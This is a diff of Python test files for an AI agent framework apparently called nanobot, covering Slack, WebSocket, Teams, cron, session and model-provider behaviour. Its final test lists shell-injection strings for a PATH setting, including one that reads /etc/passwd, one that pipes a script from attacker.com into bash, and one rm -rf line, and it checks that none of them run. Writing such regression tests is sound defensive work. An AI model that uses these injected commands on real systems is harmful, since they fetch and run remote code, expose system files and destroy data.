blocks = fake_web.chat_post_calls[0]["blocks"]
assert isinstance(blocks, list)
assert blocks[-1] == {
"type": "actions",
"elements": [
{
"type": "button",
"text": {"type": "plain_text", "text": "Yes"},
"value": "Yes",
"action_id": "ask_user_Yes",
},
{
"type": "button",
"text": {"type": "plain_text", "text": "No"},
"value": "No",
"action_id": "ask_user_No",
},
],
}
@pytest.mark.asyncio
async def test_send_updates_reaction_when_final_response_sent() -> None:
channel = SlackChannel(SlackConfig(enabled=True, react_emoji="eyes"), MessageBus())
@@ -316,3 +383,143 @@ async def test_send_raises_when_named_target_cannot_be_resolved() -> None:
content="hello",
)
)
@pytest.mark.asyncio
async def test_with_thread_context_fetches_root_once() -> None:
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
channel._bot_user_id = "UBOT"
fake_web = _FakeAsyncWebClient()
fake_web._conversations_replies_response = {
"messages": [
{"ts": "111.000", "user": "UROOT", "text": "drink water"},
{"ts": "112.000", "user": "U2", "text": "good idea"},
{"ts": "112.500", "user": "UBOT", "text": "I'll remind you."},
{"ts": "113.000", "user": "U3", "text": "<@UBOT> what did you see?"},
]
}
channel._web_client = fake_web
content = await channel._with_thread_context(
"what did you see?",
chat_id="C123",
channel_type="channel",
thread_ts="111.000",
raw_thread_ts="111.000",
current_ts="113.000",
)
assert fake_web.conversations_replies_calls == [
{"channel": "C123", "ts": "111.000", "limit": 20}
]
assert "Slack thread context before this mention:" in content
assert "- <@UROOT>: drink water" in content
assert "- <@U2>: good idea" in content
assert "- bot: I'll remind you." in content
assert "U3" not in content
assert content.endswith("Current message:\nwhat did you see?")
second = await channel._with_thread_context(
"again",
chat_id="C123",
channel_type="channel",
thread_ts="111.000",
raw_thread_ts="111.000",
current_ts="114.000",
)
assert second == "again"
assert len(fake_web.conversations_replies_calls) == 1
@pytest.mark.asyncio
async def test_slack_slash_command_skips_thread_context() -> None:
channel = SlackChannel(SlackConfig(enabled=True, allow_from=[]), MessageBus())
channel._bot_user_id = "UBOT"
channel._with_thread_context = AsyncMock(return_value="wrapped") # type: ignore[method-assign]
channel._handle_message = AsyncMock() # type: ignore[method-assign]
client = SimpleNamespace(send_socket_mode_response=AsyncMock())
req = SimpleNamespace(
type="events_api",
envelope_id="env-1",
payload={
"event": {
"type": "app_mention",
"user": "U1",
"channel": "C123",
"text": "<@UBOT> /restart",
"thread_ts": "111.000",
"ts": "112.000",
}
},
)
await channel._on_socket_request(client, req)
channel._with_thread_context.assert_not_awaited()
channel._handle_message.assert_awaited_once()
assert channel._handle_message.await_args.kwargs["content"] == "/restart"
@pytest.mark.asyncio
async def test_slack_file_share_downloads_media_and_reaches_agent() -> None:
channel = SlackChannel(SlackConfig(enabled=True, bot_token="xoxb-test"), MessageBus())
channel._bot_user_id = "UBOT"
channel._web_client = _FakeAsyncWebClient()
channel._handle_message = AsyncMock() # type: ignore[method-assign]
channel._download_slack_file = AsyncMock( # type: ignore[method-assign]
return_value=("/tmp/report.pdf", "[file: report.pdf]")
)
client = SimpleNamespace(send_socket_mode_response=AsyncMock())
req = SimpleNamespace(
type="events_api",
envelope_id="env-file",
payload={
"event": {
"type": "message",
"subtype": "file_share",
"user": "U1",
"channel": "D123",
"channel_type": "im",
"text": "please read this",
"ts": "1700000000.000100",
"files": [
{
"id": "F123",
"name": "report.pdf",
"mimetype": "application/pdf",
"url_private_download": "https://files.slack.com/report.pdf",
}
],
}
},
)
await channel._on_socket_request(client, req)
channel._download_slack_file.assert_awaited_once()
channel._handle_message.assert_awaited_once()
kwargs = channel._handle_message.await_args.kwargs
assert kwargs["content"] == "please read this\n[file: report.pdf]"
assert kwargs["media"] == ["/tmp/report.pdf"]
def test_slack_download_rejects_login_html() -> None:
html_response = httpx.Response(
200,
headers={"content-type": "text/html; charset=utf-8"},
content=b"<!doctype html><html><title>Sign in to Slack</title>",
)
markdown_response = httpx.Response(
200,
headers={"content-type": "text/markdown"},
content=b"# PR Extraction Guide\n",
)
assert SlackChannel._looks_like_html_download(html_response) is True
assert SlackChannel._looks_like_html_download(markdown_response) is False
def test_slack_channel_uses_channel_aware_allow_policy() -> None:
channel = SlackChannel(SlackConfig(enabled=True, allow_from=[]), MessageBus())
assert channel.is_allowed("U1") is True
assert channel._is_allowed("U1", "C123", "channel") is True
+72 -1
View File
@@ -26,6 +26,8 @@ from nanobot.channels.websocket import (
_parse_query,
_parse_request_path,
)
from nanobot.config.loader import load_config, save_config
from nanobot.config.schema import Config
# -- Shared helpers (aligned with test_websocket_integration.py) ---------------
@@ -178,6 +180,7 @@ async def test_send_delivers_json_message_with_media_and_reply() -> None:
content="hello",
reply_to="m1",
media=["/tmp/a.png"],
buttons=[["Yes", "No"]],
)
await channel.send(msg)
@@ -185,9 +188,11 @@ async def test_send_delivers_json_message_with_media_and_reply() -> None:
payload = json.loads(mock_ws.send.call_args[0][0])
assert payload["event"] == "message"
assert payload["chat_id"] == "chat-1"
assert payload["text"] == "hello"
assert payload["text"] == "hello\n\n1. Yes\n2. No"
assert payload["button_prompt"] == "hello"
assert payload["reply_to"] == "m1"
assert payload["media"] == ["/tmp/a.png"]
assert payload["buttons"] == [["Yes", "No"]]
@pytest.mark.asyncio
@@ -436,6 +441,72 @@ async def test_http_route_issues_token_then_websocket_requires_it(bus: MagicMock
await server_task
@pytest.mark.asyncio
async def test_settings_api_returns_safe_subset_and_updates_whitelist(
bus: MagicMock,
monkeypatch,
tmp_path,
) -> None:
port = 29891
config_path = tmp_path / "config.json"
config = Config()
config.agents.defaults.model = "openai/gpt-4o"
config.providers.openai.api_key = "secret-key"
save_config(config, config_path)
monkeypatch.setattr("nanobot.config.loader._current_config_path", config_path)
channel = _ch(bus, port=port)
channel._api_tokens["tok"] = time.monotonic() + 300
server_task = asyncio.create_task(channel.start())
await asyncio.sleep(0.3)
try:
settings = await _http_get(
f"http://127.0.0.1:{port}/api/settings",
headers={"Authorization": "Bearer tok"},
)
assert settings.status_code == 200
body = settings.json()
assert body["agent"]["model"] == "openai/gpt-4o"
assert body["agent"]["provider"] == "openai"
assert {"name": "auto", "label": "Auto"} in body["providers"]
assert body["agent"]["has_api_key"] is True
assert "secret-key" not in settings.text
updated = await _http_get(
"http://127.0.0.1:"
f"{port}/api/settings/update?model=openrouter/test"
"&provider=openrouter",
headers={"Authorization": "Bearer tok"},
)
assert updated.status_code == 200
assert updated.json()["requires_restart"] is True
saved = load_config(config_path)
assert saved.agents.defaults.model == "openrouter/test"
assert saved.agents.defaults.provider == "openrouter"
finally:
await channel.stop()
await server_task
def test_settings_payload_normalizes_camel_case_provider(
bus: MagicMock,
monkeypatch,
tmp_path,
) -> None:
config_path = tmp_path / "config.json"
config = Config()
config.agents.defaults.provider = "minimaxAnthropic"
save_config(config, config_path)
monkeypatch.setattr("nanobot.config.loader._current_config_path", config_path)
body = _ch(bus)._settings_payload()
assert body["agent"]["provider"] == "minimax_anthropic"
@pytest.mark.asyncio
async def test_end_to_end_server_pushes_streaming_deltas_to_client(bus: MagicMock) -> None:
port = 29880
+73 -5
View File
@@ -12,6 +12,7 @@ from nanobot.bus.events import OutboundMessage
from nanobot.cli.commands import _make_provider, app
from nanobot.config.schema import Config
from nanobot.cron.types import CronJob, CronPayload
from nanobot.providers.factory import ProviderSnapshot
from nanobot.providers.openai_codex_provider import _strip_model_prefix
from nanobot.providers.registry import find_by_name
@@ -776,6 +777,15 @@ def _stop_gateway_provider(_config) -> object:
raise _StopGatewayError("stop")
def _test_provider_snapshot(provider: object, config: Config) -> ProviderSnapshot:
return ProviderSnapshot(
provider=provider,
model=config.agents.defaults.model,
context_window_tokens=config.agents.defaults.context_window_tokens,
signature=("test",),
)
def _patch_cli_command_runtime(
monkeypatch,
config: Config,
@@ -788,6 +798,8 @@ def _patch_cli_command_runtime(
cron_service=None,
get_cron_dir=None,
) -> None:
provider_factory = make_provider or (lambda _config: object())
monkeypatch.setattr(
"nanobot.config.loader.set_config_path",
set_config_path or (lambda _path: None),
@@ -800,7 +812,15 @@ def _patch_cli_command_runtime(
)
monkeypatch.setattr(
"nanobot.cli.commands._make_provider",
make_provider or (lambda _config: object()),
provider_factory,
)
monkeypatch.setattr(
"nanobot.providers.factory.build_provider_snapshot",
lambda _config: _test_provider_snapshot(provider_factory(_config), _config),
)
monkeypatch.setattr(
"nanobot.providers.factory.load_provider_snapshot",
lambda _config_path=None: _test_provider_snapshot(provider_factory(config), config),
)
if message_bus is not None:
@@ -941,8 +961,36 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
monkeypatch.setattr("nanobot.config.loader.load_config", lambda _path=None: config)
monkeypatch.setattr("nanobot.cli.commands.sync_workspace_templates", lambda _path: None)
monkeypatch.setattr("nanobot.cli.commands._make_provider", lambda _config: provider)
monkeypatch.setattr(
"nanobot.providers.factory.build_provider_snapshot",
lambda _config: _test_provider_snapshot(provider, _config),
)
monkeypatch.setattr(
"nanobot.providers.factory.load_provider_snapshot",
lambda _config_path=None: _test_provider_snapshot(provider, config),
)
monkeypatch.setattr("nanobot.bus.queue.MessageBus", lambda: bus)
monkeypatch.setattr("nanobot.session.manager.SessionManager", lambda _workspace: object())
class _FakeSession:
def __init__(self) -> None:
self.messages = []
def add_message(self, role: str, content: str, **kwargs) -> None:
self.messages.append({"role": role, "content": content, **kwargs})
class _FakeSessionManager:
def __init__(self, _workspace: Path) -> None:
self.session = _FakeSession()
seen["session_manager"] = self
def get_or_create(self, key: str) -> _FakeSession:
seen["session_key"] = key
return self.session
def save(self, session: _FakeSession) -> None:
seen["saved_session"] = session
monkeypatch.setattr("nanobot.session.manager.SessionManager", _FakeSessionManager)
class _FakeCron:
def __init__(self, _store_path: Path) -> None:
@@ -1019,9 +1067,11 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
assert seen["provider"] is provider
assert seen["model"] == "test-model"
assert seen["task_context"] == (
"[Scheduled Task] Timer finished.\n\n"
"Task 'stretch' has been triggered.\n"
"Scheduled instruction: Remind me to stretch."
"The scheduled time has arrived. Deliver this reminder to the user now, "
"as a brief and natural message in their language. Speak directly to them — "
"do not narrate progress, summarize, include user IDs, or add status reports "
"like 'Done' or 'Reminded'.\n\n"
"Reminder: Remind me to stretch."
)
bus.publish_outbound.assert_awaited_once_with(
OutboundMessage(
@@ -1030,6 +1080,16 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
content="Time to stretch.",
)
)
assert seen["session_key"] == "telegram:user-1"
saved_session = seen["saved_session"]
assert isinstance(saved_session, _FakeSession)
assert saved_session.messages == [
{
"role": "assistant",
"content": "Time to stretch.",
"_channel_delivery": True,
}
]
def test_gateway_cron_job_suppresses_intermediate_progress(
@@ -1052,6 +1112,14 @@ def test_gateway_cron_job_suppresses_intermediate_progress(
monkeypatch.setattr("nanobot.config.loader.load_config", lambda _path=None: config)
monkeypatch.setattr("nanobot.cli.commands.sync_workspace_templates", lambda _path: None)
monkeypatch.setattr("nanobot.cli.commands._make_provider", lambda _config: object())
monkeypatch.setattr(
"nanobot.providers.factory.build_provider_snapshot",
lambda _config: _test_provider_snapshot(object(), _config),
)
monkeypatch.setattr(
"nanobot.providers.factory.load_provider_snapshot",
lambda _config_path=None: _test_provider_snapshot(object(), config),
)
monkeypatch.setattr("nanobot.bus.queue.MessageBus", lambda: bus)
monkeypatch.setattr("nanobot.session.manager.SessionManager", lambda _workspace: object())
+53
View File
@@ -43,6 +43,59 @@ def test_add_job_accepts_valid_timezone(tmp_path) -> None:
assert job.state.next_run_at_ms is not None
def test_add_job_preserves_channel_meta_and_session_key(tmp_path) -> None:
service = CronService(tmp_path / "cron" / "jobs.json")
meta = {"slack": {"thread_ts": "1234567890.123456", "channel_type": "channel"}}
job = service.add_job(
name="thread test",
schedule=CronSchedule(kind="every", every_ms=60_000),
message="hello",
deliver=True,
channel="slack",
to="C123",
channel_meta=meta,
session_key="slack:C123:1234567890.123456",
)
assert job.payload.channel_meta == meta
assert job.payload.session_key == "slack:C123:1234567890.123456"
reloaded = service.get_job(job.id)
assert reloaded is not None
assert reloaded.payload.channel_meta == meta
assert reloaded.payload.session_key == "slack:C123:1234567890.123456"
@pytest.mark.asyncio
async def test_channel_meta_and_session_key_survive_store_reload(tmp_path) -> None:
store_path = tmp_path / "cron" / "jobs.json"
service = CronService(store_path)
await service.start()
meta = {"slack": {"thread_ts": "1234567890.123456", "channel_type": "channel"}}
try:
job = service.add_job(
name="thread test",
schedule=CronSchedule(kind="every", every_ms=60_000),
message="hello",
deliver=True,
channel="slack",
to="C123",
channel_meta=meta,
session_key="slack:C123:1234567890.123456",
)
finally:
service.stop()
raw = json.loads(store_path.read_text(encoding="utf-8"))
payload = raw["jobs"][0]["payload"]
assert payload["channelMeta"] == meta
assert payload["sessionKey"] == "slack:C123:1234567890.123456"
reloaded = CronService(store_path).get_job(job.id)
assert reloaded is not None
assert reloaded.payload.channel_meta == meta
assert reloaded.payload.session_key == "slack:C123:1234567890.123456"
@pytest.mark.asyncio
async def test_execute_job_records_run_history(tmp_path) -> None:
store_path = tmp_path / "cron" / "jobs.json"
+15
View File
@@ -382,6 +382,21 @@ def test_add_job_empty_message_returns_actionable_error(tmp_path) -> None:
assert "Retry including message=" in result
def test_add_job_captures_metadata_and_session_key(tmp_path) -> None:
"""CronTool stores channel metadata and session_key when adding a job."""
tool = _make_tool(tmp_path)
meta = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
tool.set_context("slack", "C99", metadata=meta, session_key="slack:C99:111.222")
result = tool._add_job("test", "say hi", 60, None, None, None)
assert "Created job" in result
jobs = tool._cron.list_jobs()
assert len(jobs) == 1
assert jobs[0].payload.channel_meta == meta
assert jobs[0].payload.session_key == "slack:C99:111.222"
def test_list_excludes_disabled_jobs(tmp_path) -> None:
tool = _make_tool(tmp_path)
job = tool._cron.add_job(
@@ -0,0 +1,120 @@
"""Tests for heartbeat context bridge — injecting delivered messages into channel session."""
from nanobot.session.manager import SessionManager
class TestHeartbeatContextBridge:
"""Verify that on_heartbeat_notify injects the assistant message into the
channel session so user replies have conversational context."""
def test_notify_injects_into_channel_session(self, tmp_path):
"""After notify, the target channel session should contain the
heartbeat response as an assistant turn."""
session_mgr = SessionManager(tmp_path / "sessions")
target_key = "telegram:12345"
# Simulate: session exists with one user message
target_session = session_mgr.get_or_create(target_key)
target_session.add_message("user", "hello earlier")
session_mgr.save(target_session)
# Simulate what on_heartbeat_notify does
target_session = session_mgr.get_or_create(target_key)
target_session.add_message(
"assistant",
"3 new emails — invoice, meeting, proposal.",
_channel_delivery=True,
)
session_mgr.save(target_session)
# Reload and verify
reloaded = session_mgr.get_or_create(target_key)
messages = reloaded.get_history(max_messages=0)
roles = [m["role"] for m in messages]
assert roles == ["user", "assistant"]
assert "3 new emails" in messages[-1]["content"]
def test_reply_after_injection_has_context(self, tmp_path):
"""Simulates the full flow: prior conversation exists, heartbeat
injects, then user replies. The session should have the heartbeat
message visible in get_history so the model sees the context."""
session_mgr = SessionManager(tmp_path / "sessions")
target_key = "telegram:12345"
# Pre-existing conversation (user has chatted before)
session = session_mgr.get_or_create(target_key)
session.add_message("user", "Hey")
session.add_message("assistant", "Hi there!")
session_mgr.save(session)
# Step 1: heartbeat injects assistant message
session = session_mgr.get_or_create(target_key)
session.add_message(
"assistant",
"If you want, I can mark that email as read.",
_channel_delivery=True,
)
session_mgr.save(session)
# Step 2: user replies "Sure"
session = session_mgr.get_or_create(target_key)
session.add_message("user", "Sure")
session_mgr.save(session)
# Verify: get_history includes the heartbeat injection
reloaded = session_mgr.get_or_create(target_key)
history = reloaded.get_history(max_messages=0)
roles = [m["role"] for m in history]
assert roles == ["user", "assistant", "assistant", "user"]
assert "mark that email" in history[2]["content"]
assert history[3]["content"] == "Sure"
def test_injection_does_not_duplicate_on_existing_history(self, tmp_path):
"""If the channel session already has messages, the injection
appends cleanly without corruption."""
session_mgr = SessionManager(tmp_path / "sessions")
target_key = "telegram:12345"
# Pre-existing conversation
session = session_mgr.get_or_create(target_key)
session.add_message("user", "What time is it?")
session.add_message("assistant", "It's 2pm.")
session.add_message("user", "Thanks")
session_mgr.save(session)
# Heartbeat injects
session = session_mgr.get_or_create(target_key)
session.add_message(
"assistant",
"You have a meeting in 30 minutes.",
_channel_delivery=True,
)
session_mgr.save(session)
# Verify
reloaded = session_mgr.get_or_create(target_key)
history = reloaded.get_history(max_messages=0)
roles = [m["role"] for m in history]
assert roles == ["user", "assistant", "user", "assistant"]
assert "meeting in 30 minutes" in history[-1]["content"]
def test_reply_after_injection_to_empty_session_keeps_context(self, tmp_path):
"""A user replying to the first delivered message still sees that context."""
session_mgr = SessionManager(tmp_path / "sessions")
target_key = "telegram:99999"
session = session_mgr.get_or_create(target_key)
session.add_message(
"assistant",
"Weather alert: sandstorm expected at 4pm.",
_channel_delivery=True,
)
session.add_message("user", "Sure")
session_mgr.save(session)
reloaded = session_mgr.get_or_create(target_key)
history = reloaded.get_history(max_messages=0)
assert len(history) == 2
assert history[0]["role"] == "assistant"
assert "sandstorm" in history[0]["content"]
assert history[1] == {"role": "user", "content": "Sure"}
+75
View File
@@ -585,6 +585,81 @@ def test_openai_compat_preserves_message_level_reasoning_fields() -> None:
assert sanitized[1]["tool_calls"][0]["extra_content"] == {"google": {"thought_signature": "sig"}}
def _deepseek_kwargs(messages: list[dict]) -> dict:
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
provider = OpenAICompatProvider(
api_key="sk-test",
default_model="deepseek-v4-flash",
spec=find_by_name("deepseek"),
)
return provider._build_kwargs(
messages=messages,
tools=None,
model="deepseek-v4-flash",
max_tokens=1024,
temperature=0.7,
reasoning_effort="high",
tool_choice=None,
)
def _tool_call(call_id: str) -> dict:
return {
"id": call_id,
"type": "function",
"function": {"name": "my", "arguments": "{}"},
}
def test_deepseek_thinking_drops_tool_history_missing_reasoning_content() -> None:
kwargs = _deepseek_kwargs([
{"role": "system", "content": "system"},
{"role": "user", "content": "can we use wechat?"},
{"role": "assistant", "content": "", "tool_calls": [_tool_call("call_bad")]},
{"role": "tool", "tool_call_id": "call_bad", "name": "my", "content": "channels"},
{"role": "user", "content": "continue"},
])
assert kwargs["messages"] == [
{"role": "system", "content": "system"},
{"role": "user", "content": "continue"},
]
def test_deepseek_thinking_keeps_tool_history_with_reasoning_content() -> None:
kwargs = _deepseek_kwargs([
{"role": "user", "content": "can we use wechat?"},
{
"role": "assistant",
"content": "",
"reasoning_content": "I should inspect supported channels.",
"tool_calls": [_tool_call("call_good")],
},
{"role": "tool", "tool_call_id": "call_good", "name": "my", "content": "channels"},
{"role": "user", "content": "continue"},
])
assistant = kwargs["messages"][1]
assert assistant["role"] == "assistant"
assert assistant["reasoning_content"] == "I should inspect supported channels."
assert kwargs["messages"][2]["role"] == "tool"
def test_deepseek_thinking_drops_current_bad_tool_turn_without_followup_user() -> None:
kwargs = _deepseek_kwargs([
{"role": "system", "content": "system"},
{"role": "user", "content": "can we use wechat?"},
{"role": "assistant", "content": "", "tool_calls": [_tool_call("call_bad")]},
{"role": "tool", "tool_call_id": "call_bad", "name": "my", "content": "channels"},
])
assert kwargs["messages"] == [
{"role": "system", "content": "system"},
{"role": "user", "content": "can we use wechat?"},
]
def test_openai_compat_keeps_tool_calls_after_consecutive_assistant_messages() -> None:
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
provider = OpenAICompatProvider()
@@ -0,0 +1,118 @@
"""Tests for _is_local_endpoint detection and keepalive configuration."""
from unittest.mock import MagicMock
from nanobot.providers.openai_compat_provider import (
OpenAICompatProvider,
_is_local_endpoint,
)
def _make_spec(is_local: bool = False) -> MagicMock:
spec = MagicMock()
spec.is_local = is_local
return spec
class TestIsLocalEndpoint:
"""Test the _is_local_endpoint helper."""
def test_spec_is_local_true(self):
assert _is_local_endpoint(_make_spec(is_local=True), None) is True
def test_spec_is_local_false_no_base(self):
assert _is_local_endpoint(_make_spec(is_local=False), None) is False
def test_no_spec_no_base(self):
assert _is_local_endpoint(None, None) is False
def test_localhost(self):
assert _is_local_endpoint(None, "http://localhost:1234/v1") is True
def test_localhost_https(self):
assert _is_local_endpoint(None, "https://localhost:8080/v1") is True
def test_loopback_127(self):
assert _is_local_endpoint(None, "http://127.0.0.1:11434/v1") is True
def test_private_192_168(self):
assert _is_local_endpoint(None, "http://192.168.8.188:1234/v1") is True
def test_private_10(self):
assert _is_local_endpoint(None, "http://10.0.0.5:8000/v1") is True
def test_private_172_16(self):
assert _is_local_endpoint(None, "http://172.16.0.1:1234/v1") is True
def test_private_172_31(self):
assert _is_local_endpoint(None, "http://172.31.255.255:1234/v1") is True
def test_not_private_172_32(self):
assert _is_local_endpoint(None, "http://172.32.0.1:1234/v1") is False
def test_docker_internal(self):
assert _is_local_endpoint(None, "http://host.docker.internal:11434/v1") is True
def test_ipv6_loopback(self):
assert _is_local_endpoint(None, "http://[::1]:1234/v1") is True
def test_public_api(self):
assert _is_local_endpoint(None, "https://api.openai.com/v1") is False
def test_openrouter(self):
assert _is_local_endpoint(None, "https://openrouter.ai/api/v1") is False
def test_spec_overrides_public_url(self):
"""spec.is_local=True takes precedence even with a public-looking URL."""
assert _is_local_endpoint(_make_spec(is_local=True), "https://api.example.com/v1") is True
def test_case_insensitive(self):
assert _is_local_endpoint(None, "http://LOCALHOST:1234/v1") is True
def test_trailing_slash(self):
assert _is_local_endpoint(None, "http://192.168.1.1:8080/v1/") is True
def test_public_hostname_containing_localhost_is_not_local(self):
assert _is_local_endpoint(None, "https://notlocalhost.example/v1") is False
def test_public_hostname_containing_private_ip_prefix_is_not_local(self):
assert _is_local_endpoint(None, "https://api10.example.com/v1") is False
def test_url_without_scheme(self):
assert _is_local_endpoint(None, "192.168.1.1:8080/v1") is True
class TestLocalKeepaliveConfig:
"""Verify that local endpoints get keepalive_expiry=0."""
def test_local_spec_disables_keepalive(self):
spec = _make_spec(is_local=True)
spec.env_key = ""
spec.default_api_base = "http://localhost:11434/v1"
provider = OpenAICompatProvider(
api_key="test", api_base="http://localhost:11434/v1", spec=spec,
)
pool = provider._client._client._transport._pool
assert pool._keepalive_expiry == 0
def test_lan_ip_disables_keepalive(self):
"""A generic 'openai' spec with a LAN IP should still disable keepalive."""
spec = _make_spec(is_local=False)
spec.env_key = ""
spec.default_api_base = None
provider = OpenAICompatProvider(
api_key="test", api_base="http://192.168.8.188:1234/v1", spec=spec,
)
pool = provider._client._client._transport._pool
assert pool._keepalive_expiry == 0
def test_cloud_keeps_default_keepalive(self):
spec = _make_spec(is_local=False)
spec.env_key = ""
spec.default_api_base = "https://api.openai.com/v1"
provider = OpenAICompatProvider(
api_key="test", api_base=None, spec=spec,
)
pool = provider._client._client._transport._pool
# Default httpx keepalive is 5.0s
assert pool._keepalive_expiry == 5.0
+56 -4
View File
@@ -9,6 +9,17 @@ from types import SimpleNamespace
from unittest.mock import patch
from nanobot.providers.openai_compat_provider import OpenAICompatProvider
from nanobot.providers.registry import ProviderSpec
_STEPFUN_SPEC = ProviderSpec(
name="stepfun",
keywords=("stepfun", "step"),
env_key="STEPFUN_API_KEY",
display_name="Step Fun",
backend="openai_compat",
default_api_base="https://api.stepfun.com/v1",
reasoning_as_content=True,
)
# ── _parse: dict branch ─────────────────────────────────────────────────────
@@ -17,7 +28,7 @@ from nanobot.providers.openai_compat_provider import OpenAICompatProvider
def test_parse_dict_stepfun_reasoning_fallback() -> None:
"""When content is None and reasoning exists, content falls back to reasoning."""
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
provider = OpenAICompatProvider()
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
response = {
"choices": [{
@@ -39,7 +50,7 @@ def test_parse_dict_stepfun_reasoning_fallback() -> None:
def test_parse_dict_stepfun_reasoning_priority() -> None:
"""reasoning_content field takes priority over reasoning when both present."""
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
provider = OpenAICompatProvider()
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
response = {
"choices": [{
@@ -75,7 +86,7 @@ def _make_sdk_message(content, reasoning=None, reasoning_content=None):
def test_parse_sdk_stepfun_reasoning_fallback() -> None:
"""SDK branch: content falls back to msg.reasoning when content is None."""
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
provider = OpenAICompatProvider()
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
msg = _make_sdk_message(content=None, reasoning="After analysis: result is 4.")
choice = SimpleNamespace(finish_reason="stop", message=msg)
@@ -90,7 +101,7 @@ def test_parse_sdk_stepfun_reasoning_fallback() -> None:
def test_parse_sdk_stepfun_reasoning_priority() -> None:
"""reasoning_content field takes priority over reasoning in SDK branch."""
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
provider = OpenAICompatProvider()
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
msg = _make_sdk_message(
content=None,
@@ -244,3 +255,44 @@ def test_parse_chunks_sdk_reasoning_precedence() -> None:
result = OpenAICompatProvider._parse_chunks(chunks)
assert result.reasoning_content == "formal: "
# ── Regression: non-StepFun providers must NOT promote reasoning to content ─
def test_parse_dict_non_stepfun_no_reasoning_as_content() -> None:
"""Providers without reasoning_as_content flag must not treat reasoning as content."""
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
provider = OpenAICompatProvider()
response = {
"choices": [{
"message": {
"content": None,
"reasoning": "internal thought process that should NOT be shown to user",
},
"finish_reason": "stop",
}],
}
result = provider._parse(response)
# content stays None — reasoning is NOT promoted
assert result.content is None
# reasoning still goes to reasoning_content for display as thinking
assert result.reasoning_content == "internal thought process that should NOT be shown to user"
def test_parse_sdk_non_stepfun_no_reasoning_as_content() -> None:
"""SDK branch: providers without flag must not treat reasoning as content."""
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
provider = OpenAICompatProvider()
msg = _make_sdk_message(content=None, reasoning="internal monologue")
choice = SimpleNamespace(finish_reason="stop", message=msg)
response = SimpleNamespace(choices=[choice], usage=None)
result = provider._parse(response)
assert result.content is None
assert result.reasoning_content == "internal monologue"
+46 -2
View File
@@ -1,4 +1,5 @@
import json
import time
import pytest
@@ -512,6 +513,17 @@ def test_sanitize_inbound_text_keeps_normal_inline_message(make_channel):
assert ch._sanitize_inbound_text(activity) == "normal inline message"
def test_sanitize_inbound_text_normalizes_nbsp_entities(make_channel):
ch = make_channel()
activity = {
"text": "Hello&nbsp;from&nbsp;Teams",
"channelData": {},
}
assert ch._sanitize_inbound_text(activity) == "Hello from Teams"
def test_sanitize_inbound_text_normalizes_reply_wrapper_without_reply_metadata(make_channel):
ch = make_channel()
@@ -623,7 +635,7 @@ async def test_get_access_token_uses_configured_tenant(make_channel):
@pytest.mark.asyncio
async def test_send_replies_to_activity_when_reply_in_thread_enabled(make_channel):
async def test_send_posts_to_conversation_with_reply_to_id_when_reply_in_thread_enabled(make_channel):
ch = make_channel(replyInThread=True)
fake_http = FakeHttpClient()
ch._http = fake_http
@@ -639,7 +651,7 @@ async def test_send_replies_to_activity_when_reply_in_thread_enabled(make_channe
assert len(fake_http.calls) == 1
url, kwargs = fake_http.calls[0]
assert url == "https://smba.trafficmanager.net/amer/v3/conversations/conv-123/activities/activity-1"
assert url == "https://smba.trafficmanager.net/amer/v3/conversations/conv-123/activities"
assert kwargs["headers"]["Authorization"] == "Bearer tok"
assert kwargs["json"]["text"] == "Reply text"
assert kwargs["json"]["replyToId"] == "activity-1"
@@ -830,6 +842,38 @@ async def test_start_logs_install_hint_when_pyjwt_missing(make_channel, monkeypa
assert errors == ["PyJWT not installed. Run: pip install nanobot-ai[msteams]"]
def test_save_refs_prunes_webchat_and_stale_refs(make_channel):
ch = make_channel()
now = time.time()
ch._conversation_refs = {
"teams-good": ConversationRef(
service_url="https://smba.trafficmanager.net/amer/",
conversation_id="teams-good",
conversation_type="personal",
updated_at=now,
),
"webchat-bad": ConversationRef(
service_url="https://webchat.botframework.com/",
conversation_id="webchat-bad",
conversation_type=None,
updated_at=now,
),
"teams-stale": ConversationRef(
service_url="https://smba.trafficmanager.net/amer/",
conversation_id="teams-stale",
conversation_type="personal",
updated_at=now - (31 * 24 * 60 * 60),
),
}
ch._save_refs()
assert set(ch._conversation_refs) == {"teams-good"}
saved = json.loads(ch._refs_path.read_text(encoding="utf-8"))
assert set(saved) == {"teams-good"}
assert saved["teams-good"]["updated_at"] == pytest.approx(now)
def test_msteams_default_config_includes_restart_notify_fields():
cfg = MSTeamsChannel.default_config()
+72
View File
@@ -74,3 +74,75 @@ async def test_exec_allowed_env_keys_missing_var_ignored(monkeypatch):
tool = ExecTool(allowed_env_keys=["NONEXISTENT_VAR_12345"])
result = await tool.execute(command="printenv NONEXISTENT_VAR_12345")
assert "Exit code: 1" in result
# --- path_append injection prevention ------------------------------------
@_UNIX_ONLY
@pytest.mark.asyncio
@pytest.mark.parametrize(
"malicious_path",
[
# semicolon — classic command separator
'/tmp/bin; echo INJECTED',
# command substitution via $()
'/tmp/bin; echo $(whoami)',
# backtick command substitution
"/tmp/bin; echo `id`",
# pipe to another command
'/tmp/bin; cat /etc/passwd',
# chained with &&
'/tmp/bin && curl http://attacker.com/shell.sh | bash',
# newline injection
'/tmp/bin\necho INJECTED',
# mixed shell metacharacters
'/tmp/bin; rm -rf /tmp/test_inject_marker; echo CLEANED',
],
)
async def test_exec_path_append_shell_metacharacters_not_executed(malicious_path, tmp_path):
"""Shell metacharacters in path_append must NOT be interpreted as commands.
Regression test for: path_append was previously concatenated into a shell
command string via f'export PATH="$PATH:{path_append}"; {command}', which
allowed shell injection. After the fix, path_append is passed through the
env dict so metacharacters are treated as literal path characters.
"""
tool = ExecTool(path_append=malicious_path)
result = await tool.execute(command="echo SAFE_OUTPUT")
# The original command should succeed
assert "SAFE_OUTPUT" in result
